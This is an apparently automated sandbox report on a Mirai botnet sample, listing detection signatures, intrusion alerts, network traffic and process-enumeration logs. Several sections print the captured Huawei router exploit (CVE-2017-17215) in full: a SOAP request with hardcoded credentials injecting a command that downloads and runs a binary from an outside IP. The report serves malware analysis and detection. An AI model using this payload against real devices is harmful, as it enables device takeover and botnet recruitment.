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Linux Analysis Report
jklarm.elf

Overview

General Information

Sample Name:	jklarm.elf
Analysis ID:	820047
MD5:	b11280988583d53cb1091e3183a0700e
SHA1:	d80dc853d0d47b497532070c63ea6138c4e9cbb3
SHA256:	be997eeae35a51b770182258ead9cbe119e3e5c014f87a7c0bce259bf12bc623
Tags:	Mirai
Infos:

Detection

Mirai

Score:	84
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Queries the IP of a very long domain name

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	820047
Start date and time:	2023-03-04 18:18:46 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	jklarm.elf
Detection:	MAL
Classification:	mal84.troj.evad.linELF@0/409@26/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: chinkona.buzz.}dn66PV,)3EH(@#Uke_MeP4}dFFPV,)3E8p.7)g}
VT rate limit hit for: dogeating.monster.

Runtime Messages

Command:	/tmp/jklarm.elf
PID:	6224
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

jklarm.elf (PID: 6224, Parent: 6120, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/jklarm.elf

jklarm.elf New Fork (PID: 6226, Parent: 6224)

jklarm.elf New Fork (PID: 6228, Parent: 6226)

jklarm.elf New Fork (PID: 6229, Parent: 6226)

jklarm.elf New Fork (PID: 6232, Parent: 6226)

jklarm.elf New Fork (PID: 6234, Parent: 6226)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
jklarm.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xdd24:$x2: /bin/busybox chmod 777 * /tmp/ 0xddc0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6224.1.00007f3d1c017000.00007f3d1c026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xdd24:$x2: /bin/busybox chmod 777 * /tmp/ 0xddc0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.255.191

Timestamp:	192.168.2.2341.153.255.19151874372152835222 03/04/23-18:19:35.932487
SID:	2835222
Source Port:	51874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.71.229

Timestamp:	192.168.2.23197.199.71.22944988372152835222 03/04/23-18:19:38.248543
SID:	2835222
Source Port:	44988
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.193.218.158

Timestamp:	192.168.2.23197.193.218.15851024372152835222 03/04/23-18:19:35.879761
SID:	2835222
Source Port:	51024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.133.45

Timestamp:	192.168.2.23197.194.133.4533820372152835222 03/04/23-18:19:38.231598
SID:	2835222
Source Port:	33820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.169.177

Timestamp:	192.168.2.23197.194.169.17741370372152835222 03/04/23-18:19:38.291279
SID:	2835222
Source Port:	41370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.207.125.180

Timestamp:	192.168.2.2341.207.125.18045308372152835222 03/04/23-18:19:37.081123
SID:	2835222
Source Port:	45308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.139.40

Timestamp:	192.168.2.23197.194.139.4051026372152835222 03/04/23-18:19:38.231746
SID:	2835222
Source Port:	51026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.36.0.32

Timestamp:	192.168.2.2341.36.0.3238352372152835222 03/04/23-18:19:36.026861
SID:	2835222
Source Port:	38352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.153.153.157

Timestamp:	192.168.2.2341.153.153.15757930372152835222 03/04/23-18:19:38.287713
SID:	2835222
Source Port:	57930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.235.150

Timestamp:	192.168.2.23197.192.235.15040566372152835222 03/04/23-18:19:38.237462
SID:	2835222
Source Port:	40566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.237.22.166

Timestamp:	192.168.2.2341.237.22.16659980372152835222 03/04/23-18:19:38.252215
SID:	2835222
Source Port:	59980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 35 2e 32 31 37 2e 31 34 34 2e 32 30 37 20 2d 6c 20 2f 74 6d 70 2f 66 75 78 69 20 2d 72 20 2f 79 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 66 75 78 69 3b 20 2f 74 6d 70 2f 66 75 78 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /y; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: jklarm.elf	Virustotal: Detection: 54%			Perma Link
Source: jklarm.elf	ReversingLabs: Detection: 51%

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51024 -> 197.193.218.158:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51874 -> 41.153.255.191:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38352 -> 41.36.0.32:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45308 -> 41.207.125.180:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33820 -> 197.194.133.45:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51026 -> 197.194.139.40:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40566 -> 197.192.235.150:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44988 -> 197.199.71.229:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59980 -> 41.237.22.166:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57930 -> 41.153.153.157:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41370 -> 197.194.169.177:37215

Source: unknown	DNS traffic detected: query: chinkona.buzz.}dn66PV,)3EH(@#Uke_MeP4}dFFPV,)3E8p.7)g}
Source: unknown	DNS traffic detected: query: chinkona.buzz.}dFFPV,)3E 8m-o&E(,l-oM_-o}d:66PV,.3E({w5$R
Source: unknown	DNS traffic detected: query: chinkona.buzz.}di&66PV,)3E(925cR}d'JJ)3PV,E<d@@
Source: unknown	DNS traffic detected: query: chinkona.buzz.}d/h66PV,)3E(vy5R}dhJJ)3PV,E<f@@
Source: unknown	DNS traffic detected: query: chinkona.buzz.}d566PV,)3E(T&wP5Mj R}dhh)3PV,EZS@@.v_z.acP%wPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authori.ation: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/Dev.ceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnon.e="248d1a2560100669"Content-Length: 461<?xml version="1.0" ?><s:Envelope xmlns:s="http://sche.as.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade.xmlns:u="urn:schemas-upnp-org:se.vice:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /y; /bin.busybox chmod 777 /tmp/fuxi; /tmp/fuxi huawei.</NewStatusURL><NewDownloadURL>$(echo HUA.EIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>}dhh)3PV,

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.30.222.122
Source: unknown	TCP traffic detected without corresponding DNS query: 20.65.211.114
Source: unknown	TCP traffic detected without corresponding DNS query: 107.83.129.146
Source: unknown	TCP traffic detected without corresponding DNS query: 69.54.246.112
Source: unknown	TCP traffic detected without corresponding DNS query: 62.71.72.64
Source: unknown	TCP traffic detected without corresponding DNS query: 152.150.101.196
Source: unknown	TCP traffic detected without corresponding DNS query: 223.9.58.182
Source: unknown	TCP traffic detected without corresponding DNS query: 157.227.201.48
Source: unknown	TCP traffic detected without corresponding DNS query: 184.231.24.243
Source: unknown	TCP traffic detected without corresponding DNS query: 81.195.79.119
Source: unknown	TCP traffic detected without corresponding DNS query: 101.166.184.81
Source: unknown	TCP traffic detected without corresponding DNS query: 192.205.235.52
Source: unknown	TCP traffic detected without corresponding DNS query: 78.5.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 54.120.234.226
Source: unknown	TCP traffic detected without corresponding DNS query: 111.140.180.6
Source: unknown	TCP traffic detected without corresponding DNS query: 78.101.20.170
Source: unknown	TCP traffic detected without corresponding DNS query: 157.198.247.200
Source: unknown	TCP traffic detected without corresponding DNS query: 125.94.135.5
Source: unknown	TCP traffic detected without corresponding DNS query: 67.27.248.85
Source: unknown	TCP traffic detected without corresponding DNS query: 1.4.171.171
Source: unknown	TCP traffic detected without corresponding DNS query: 145.124.241.234
Source: unknown	TCP traffic detected without corresponding DNS query: 170.89.148.198
Source: unknown	TCP traffic detected without corresponding DNS query: 87.173.39.133
Source: unknown	TCP traffic detected without corresponding DNS query: 44.76.253.98
Source: unknown	TCP traffic detected without corresponding DNS query: 49.153.59.183
Source: unknown	TCP traffic detected without corresponding DNS query: 104.39.134.38
Source: unknown	TCP traffic detected without corresponding DNS query: 125.42.99.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.208.249.34
Source: unknown	TCP traffic detected without corresponding DNS query: 188.205.99.112
Source: unknown	TCP traffic detected without corresponding DNS query: 218.78.248.21
Source: unknown	TCP traffic detected without corresponding DNS query: 71.119.139.246
Source: unknown	TCP traffic detected without corresponding DNS query: 108.177.0.229
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.20.164
Source: unknown	TCP traffic detected without corresponding DNS query: 49.232.91.231
Source: unknown	TCP traffic detected without corresponding DNS query: 52.194.141.58
Source: unknown	TCP traffic detected without corresponding DNS query: 17.78.160.19
Source: unknown	TCP traffic detected without corresponding DNS query: 144.143.62.17
Source: unknown	TCP traffic detected without corresponding DNS query: 179.208.129.176
Source: unknown	TCP traffic detected without corresponding DNS query: 8.73.191.227
Source: unknown	TCP traffic detected without corresponding DNS query: 84.246.82.80
Source: unknown	TCP traffic detected without corresponding DNS query: 48.231.190.60
Source: unknown	TCP traffic detected without corresponding DNS query: 32.190.157.157
Source: unknown	TCP traffic detected without corresponding DNS query: 145.61.120.51
Source: unknown	TCP traffic detected without corresponding DNS query: 196.188.73.165
Source: unknown	TCP traffic detected without corresponding DNS query: 17.109.151.188
Source: unknown	TCP traffic detected without corresponding DNS query: 149.105.116.129
Source: unknown	TCP traffic detected without corresponding DNS query: 191.19.101.190
Source: unknown	TCP traffic detected without corresponding DNS query: 116.187.28.66
Source: unknown	TCP traffic detected without corresponding DNS query: 20.87.13.80

Source: jklarm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: jklarm.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: jklarm.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6224.1.00007f3d1c017000.00007f3d1c026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)

Source: jklarm.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6224.1.00007f3d1c017000.00007f3d1c026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /y; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /y; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6232/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6232/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6231/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6231/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6234/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6234/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6229/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/6229/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/13/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/14/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/15/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/16/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/17/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/18/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/120/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/121/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/jklarm.elf (PID: 6228)	File opened: /proc/1349/cmdline	Jump to behavior
